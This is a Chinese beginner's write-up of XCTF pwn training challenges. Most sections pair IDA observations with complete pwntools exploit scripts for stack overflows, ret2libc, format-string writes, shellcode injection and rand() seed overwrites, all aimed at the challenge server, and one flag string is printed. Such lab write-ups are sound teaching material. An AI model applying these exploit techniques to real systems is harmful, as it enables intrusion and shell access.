小白尝试做pwn题QAQ

get shell

惯例:
IDA查看main函数:

显然直接连接就可以得到权限。
nc ls cat 一条龙服务:

菜鸟教程的Linux命令大全

hello pwn

惯例:

IDA查看main:

查看if语句后的函数:

目的明确:进入if语句。
计算60106C和601068的偏移为4,read可以读入0x10,直接输入条件即可。
exp:

from pwn import*r = remote('111.200.241.244',64067)
payload = 'a'*4 + p64(1853186401)
r.recvuntil('bof')
r.sendline(payload)
r.interactive()

得到flag:

cyberpeace{989932911edbf0eb2bd71336c53f5011}

level0

惯例:

IDA查看main:

没看懂它到底干了什么,第一步应该是输出字符串,但这个返回有点问题,点进去看看:

所以这个函数可以姑且看作等同于read(),看看有没有有用的字符串:

给了system函数和/bin/sh,想起刚刚的read的读入是0x200去看看buf的空间:

只有0x80,那么思路就是:先把buf填满,然后64位ret填8个字符,然后通过字符串找到system函数的地址,输入,实现调用。
exp:

from pwn import *r = remote('111.200.241.244',55187)func_addr = 0x0400596
payload = 'a'*0x80 + 'a'*8 + p64(func_addr)r.sendline(payload)
r.interactive()

得到flag:

level2

惯例:

IDA查看main:

查看第一个函数:

查看字符串:

还是有system!!!查看buf偏移:

比read的0x100少。
思路:
填满buf然后调用system。
exp:

from pwn import*r = remote('111.200.241.244',54064)sys_adr = 0x8048320
bin_adr = 0x804A024
payload = 'a'*(0x88) + 'a'*0x4 + p32(sys_adr) + p32(0) + p32(bin_adr)
r.sendline(payload)
r.interactive()

得到flag:

level3

惯例:

IDA查看main:

查看第一个函数:

buf容量:

查看字符串:

【干干净净·啥也不给】

既然没有现成的system那么思路就是:
先利用write函数得到libc的偏移,然后再调用main函数,利用得到的偏移和got表和plt表去调用system和/bin/sh。
exp:

from pwn import *
r = remote("111.200.241.244",61622)bin_adr = 0x15902b elf = ELF('./level3')
libc = ELF('./libc_32.so.6')write_plt = elf.plt['write']
write_got = elf.got['write']
main_adr = elf.symbols['main']payload = 'a'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_adr) + p32(1) + p32(write_got) + p32(0xdeadbeef)r.sendlineafter("Input:\n",payload)write_got_adr = u32(r.recv()[:4])libc_adr = write_got_adr - libc.symbols['write'] #offset
sys_adr = libc_adr + libc.symbols['system']
bin_sh_adr = libc_adr + bin_adrpayload0 = 'a'*0x88 + p32(0xdeadbeef) + p32(sys_adr) + p32(0xdeadbeef) + p32(bin_sh_adr)r.sendline(payload0)
r.interactive()

得到flag:

string

惯例:

IDA查看main函数:

注意到这里直接给了我们两个地址,然后查看这个被调用的函数:

第一个函数:

这个4009DD点进去会说“YOU ARE DEAD",所以我们这步确定要输入”east",看第二个函数:

注意这里,他要了一个地址,并且这个printf把输出的字符数存储在了format中,这个format又是之前而我们输入的wish,当然要进去需要输入‘1’。
查看第三个函数:

显然这个v1可以利用,到这里的思路是:v1输入shellcode。
问题:a1[0]==a1[1]?
只用满足这个条件才可以调用v1,溯回到main函数可以看到a1就是v4,而v4就是v3,v3[0]=68,v3[1]=85,可以看出初始状态时a1[0]和a1[1]并不相等,但是,程序一开始就把v4的地址泄露给我们了,之后的程序中又涉及到读取地址存储字符数在我们所给的地址中

最终思路是:
存储给出的地址,在address和wish的时候更改v4的值,使其相等,最后利用v1调用shellcode。
exp:

from pwn import *r = remote('111.200.241.244',61235)r.recvuntil("secret[0] is ")
addr = int(r.recv(7),16)
print addrr.recvuntil("What should your character's name be:")
r.sendline('233')r.recvuntil("So, where you will go?east or up?:")
r.sendline('east')r.recvuntil("go into there(1), or leave(0)?:")
r.sendline('1')r.recvuntil("'Give me an address'")
r.sendline(str(addr))payload = '%085d' + '%7$n'
r.recvuntil("And, you wish is:")
r.sendline(payload)r.recvuntil('I will help you! USE YOU SPELL')
shellcode = asm(shellcraft.amd64.linux.sh(),arch="amd64")
r.sendline(shellcode)r.interactive()

得到flag:

guess num

惯例:

IDA查看main:

代码大意:和rand出来的数字一致10次即为成功
成功后调用的函数C3E:

所以我们要干的事情就明确了:输入10个数字与rand的数相同
该怎么和rand()一致呢?
大佬是这么说的:

其实srand生成的随机数是伪随机数。其实就是一个很长的数字字符串,然后根据种子定位到这个字符串某个点,然后每次生成随机数就读一个数字字符。也就是说,如果我们的种子是一样的,相同的随机次序我们得到的随机数是一样的。

重点是:种子一致,随机数一致


这个gets显然可以利用,查看v8和seed:


偏移为20,seed[0]是第21个单元,思路:利用v8溢出更改seed[0]的值,使seed一致,那么rand()一致,就可以进入给出flag的函数了
exp:

from pwn import*
from ctypes import*
r = remote('111.200.241.244',62646)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload = 'a'*0x20 + p64(1)
r.recvuntil('name:')
r.sendline(payload)
libc.srand(1)
for i in range(10):num = str(libc.rand()%6+1)r.recvuntil('number:')r.sendline(num)
r.interactive()

得到flag:

int overflow

惯例:

main:

login:

check_passwd:

至此,这程序看起来非常完美,如果不是在字符串里看到了这个:

找到了这个函数:

思路很明确:调用这个what_is_this函数
问题是:怎么调用?
注意到result是把s拷贝到dest中:
s:0x199
dest:0x14

这是溢出点,但是v3对s的长度进行了限制(4-8),题目是整数溢出,查看汇编:

这里看出是把长度先放在al,再放在v3的。

8086下寄存器是16位,高八位AH低八位AL。
只要把2^8占满后再加上4-8就可以进入else语句,用拷贝造成溢出。

exp:

from pwn import *r = remote('111.200.241.244',61350)
sys_addr = 0x804868Bpayload = 'a'*0x14 + 'a'*0x4 + p32(sys_addr)
payload = payload.ljust(260,'a')
r.recvuntil('choice:')
r.sendline('1')
r.recvuntil('username:')
r.sendline('233')
r.recvuntil('passwd:')
r.sendline(payload)
r.interactive()

得到flag:

cgpwn2

惯例:

IDA:

hello:

字符串:

问题:没有/bin/sh
思路:输入/bin/sh并记下地址,溢出调用system。
s的偏移:

exp:

from pwn import*r = remote('111.200.241.244',50171)
bin_sh = '/bin/sh'
sys_addr = 0x8048420r.recvuntil('name')
r.sendline(bin_sh)
bin_addr = 0x804A080
r.recvuntil('here:')payload = 'a'*0x26 + 'a'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_addr)r.sendline(payload)
r.interactive()

得到flag:

CGfsb

惯例:

main:

思路:利用printf返回字符个数的特性把pwnme改成8
exp:

from pwn import *pwnme_addr = 0x804A068payload = p32(pwnme_addr) + 'a'*4 + '%10$n'
#p32(pwnme_addr) = = 'aaaa' pwnme要等于8r = remote('111.200.241.244',55843)
r.recvuntil('name:')
r.sendline('233')
r.recvuntil('please:')
r.sendline(payload)
r.interactive()

得到flag:

攻防世界pwn新手区整理相关推荐

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. 攻防世界-web新手区wp

    攻防世界-web新手区wp view source robots backup cookie disabled_button weak auth simple php get_post xff_ref ...

  3. 攻防世界——web新手区(全解)

    当前网络安全形式越来越严重,我国也越来越重视,现在国内乃至国际上各个网络攻防大赛层出不穷,但是练习平台却还是很稀缺,可以说目前网上能够练习的平台也就只有几家,大多数的院校它们有自己的练习平台但并不公开 ...

  4. 攻防世界 pwn进阶区----No.012 babyfengshui 解题思路

    攻防世界 pwn进阶区----No.012 babyfengshui 解题思路 1.本题解题思路 1.先期工作 1.运行程序查看基本逻辑 创建用户 展示用户 更新用户 删除用户 到这里就可以猜测这题有 ...

  5. 攻防世界-Web(新手区)

    前言 暑假前,为了学习Web题,做了攻防世界的新手区的Web题,当时没有总结,现在总结一下. 正文 Web1:view_source 查看源代码,右键不可以用.所以按F12,直接查看源码即可. Web ...

  6. 攻防世界 REVERSE 新手区/game

    攻防世界 REVERSE 新手区/game 下载得到附件 看题目说一共有8个围成一圈的灯,需要输入1-8个数,输入的数会让相应的数字的灯改变状态(亮或灭),且该灯的前一个灯和后一个灯也会改变状态.输入 ...

  7. 攻防世界 REVERSE 新手区/maze

    攻防世界 REVERSE 新手区/maze 老规矩先查壳,没加壳而且是64位的 用IDA64位打开,找到main函数F5查看伪代码 这是一个迷宫题,必然是有迷宫图在里面,然后走的路径就是输出的flag ...

  8. 攻防世界MISC新手区 give_you_flag

    攻防世界MISC新手区 give_you_flag 下载题目附件,是一个gif动图 题目提示我们文件中的彩蛋,看到了一瞥而过的二维码 我这里使用的是Stegsolve工具拿取二维码,打开文件,选择Fr ...

  9. 攻防世界web新手区(来自小白)*-*

    鄙人是个纯纯的小白,这个博客也是给小白写的,不过大佬们也不会来查这些题的wp吧 拍飞 文章目录 攻防世界WEB新手区(1--11) 第一题view_source 第二题robots 第三题backup ...

最新文章

  1. 理解Golang的Time结构
  2. 【原】iOS学习之UITabBar的隐藏
  3. Log4Net 配置
  4. 香肠派对电脑版_《香肠派对》是不是除了《和平精英》最成功的吃鸡手游:靠恶搞火了?...
  5. 30号晚直播丨数据操作加速器,CloudQuery v1.3.5 发布!
  6. 让版面充满空间感的海报PSD分层模板,你一定要看看!
  7. oracle怎么按时间查找,JDBC:我如何在Oracle中按时间查询?
  8. 从使用Python开发一个Socket示例说到开发者的思维和习惯问题
  9. 人工智能学习资源汇总
  10. 矩阵转置相关公式_线性代数精华2——逆矩阵的推导过程
  11. 好好编程-物流项目21【订单管理-新增订单】
  12. 瑞星杀毒软件影响Applet无法启动的解决方法
  13. Java笔记:面向对象3大特性
  14. 【CSDN】CSDN图片居中
  15. 将 Cpar 文件导入 2019 版的 Carsim 后,无法打开 video+plot 是什么问题?
  16. 【Linux】基础IO -- 磁盘文件系统
  17. [copy-webpack-plugin] unable to locate的错误解决
  18. 星巴克猫爪杯开售遭哄抢 淘宝同款比比皆是真假难辨
  19. Keil5_C51安装
  20. 解决锐捷客户端出现密码不匹配,请输入正确密码问题

热门文章

  1. 分析师:百度到2030年可能成为中国市值最高的公司
  2. libpng warning: iCCP: known incorrect sRGB profile 警告解决
  3. 送书 | 教你下载B站指定视频
  4. 黑丝,白丝,全都要。某站的视频爬取加合成
  5. 【Linux集群教程】07 块存储之 iSCSI 服务
  6. 命名空间“Microsoft.Office”中不存在类型或命名空间名称“Interop”(是缺少程序集引用吗?)...
  7. visio跨职能流程图带区背景及大小及改变格式 (转)
  8. Scrapy Tutorial
  9. 哦买噶!李佳琦重现淘宝直播间!机器学习工程师的提效神器;『优化导论』神书;『IE521 凸优化』课程资料 | ShowMeAI资讯日报
  10. 【Java基础[数组及对象数组取子数组]】